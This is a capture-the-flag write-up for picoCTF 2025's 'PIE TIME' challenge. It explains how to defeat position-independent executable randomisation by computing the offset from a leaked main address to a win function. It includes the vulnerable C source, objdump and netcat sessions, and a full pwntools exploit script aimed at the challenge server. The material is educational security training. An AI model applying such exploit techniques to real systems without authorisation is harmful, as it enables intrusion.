Level: Easy
Tags: Binary Exploitation, picoCTF 2025, browser_webshell_solvable
Author: Darkraicg492
Description:
Can you try to get the flag? Beware we have PIE!
Connect to the program with netcat:
$ nc rescued-float.picoctf.net 54396
The program's source code can be downloaded here.
The binary can be downloaded here.
Hints:
1. Can you figure out what changed between the address you found locally
and in the server output?
Challenge link: https://play.picoctf.org/practice/challenge/490
We start by analysing the C source code. First the main
function.
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
Main basically does the following:
- Sets up a signal handler for
SIGSEGV
(Invalid memory references) - Prints the address of
main
for us - Reads and prints a value of a function we want to call
- Calls this function
If an invalid memory reference happens the segfault_handler
function is called
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
which prints an error message and exit the program.
The function we want to call is the win
function that prints the flag
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
Next, we analyse the binary
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 78 Symbols No 0 1 vuln
As mentioned in the challenge description, the binary is a Position-Independent Executable.
Next, we need to calculate the relative offsets between the main
and the win
functions.
We can do this with objdump
, grep
and python for example
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ objdump -t vuln | grep main
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
000000000000133d g F .text 00000000000000cc main
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ objdump -t vuln | grep win
00000000000012a7 g F .text 0000000000000096 win
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ python -c "print(0x133d - 0x12a7)"
150
The relative offset is 150 bytes.
Finally, we connect to the site vith netcat
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ nc rescued-float.picoctf.net 54396
Address of main: 0x63a0349ec33d
Enter the address to jump to, ex => 0x12345:
Then we calculate the hex-adress of win
in another shell
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ python -c "print(hex(0x63a0349ec33d - 150))"
0x63a0349ec2a7
And gives this address as input to get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ nc rescued-float.picoctf.net 54396
Address of main: 0x63a0349ec33d
Enter the address to jump to, ex => 0x12345: 0x63a0349ec2a7
Your input: 63a0349ec2a7
You won!
picoCTF{<REDACTED>}
Doing manual calculations in a separate window is tedious so let's automate the solution with Python and pwntools.
#!/usr/bin/env python
from pwn import *
SERVER = 'rescued-float.picoctf.net'
PORT = 54396
exe = context.binary = ELF('./vuln', checksec=False)
# Set output level (critical, error, warning, info, debug)
context.log_level = "warning"
io = remote(SERVER, PORT)
main = exe.symbols.main
win = exe.symbols.win
offset = main - win
log.info(f"Relative offset is: {offset}")
main = int(io.recvlineS().split(':')[1].strip()[2:], 16)
win = str(hex(main - 150)).encode()
log.info(f"Sending address of win: {win.decode()}")
io.sendlineafter(b'ex => 0x12345: ', win)
io.recvline()
print(io.recvallS())
io.close()
Finally, we run the script to get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ source ~/Python_venvs/PwnTools/bin/activate
┌──(PwnTools)─(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2025/Binary_Exploitation/PIE_TIME]
└─$ ./get_flag.py
You won!
picoCTF{<REDACTED>}
For additional information, please see the references below.
- C (programming language) - Wikipedia
- Checksec.sh - GitHub
- grep - Linux manual page
- nc - Linux manual page
- netcat - Wikipedia
- objdump - Linux manual page
- Position-independent code - Wikipedia
- python - Linux manual page
- Python (programming language) - Wikipedia
- pwntools - Documentation
- signal() function - Tutorials Point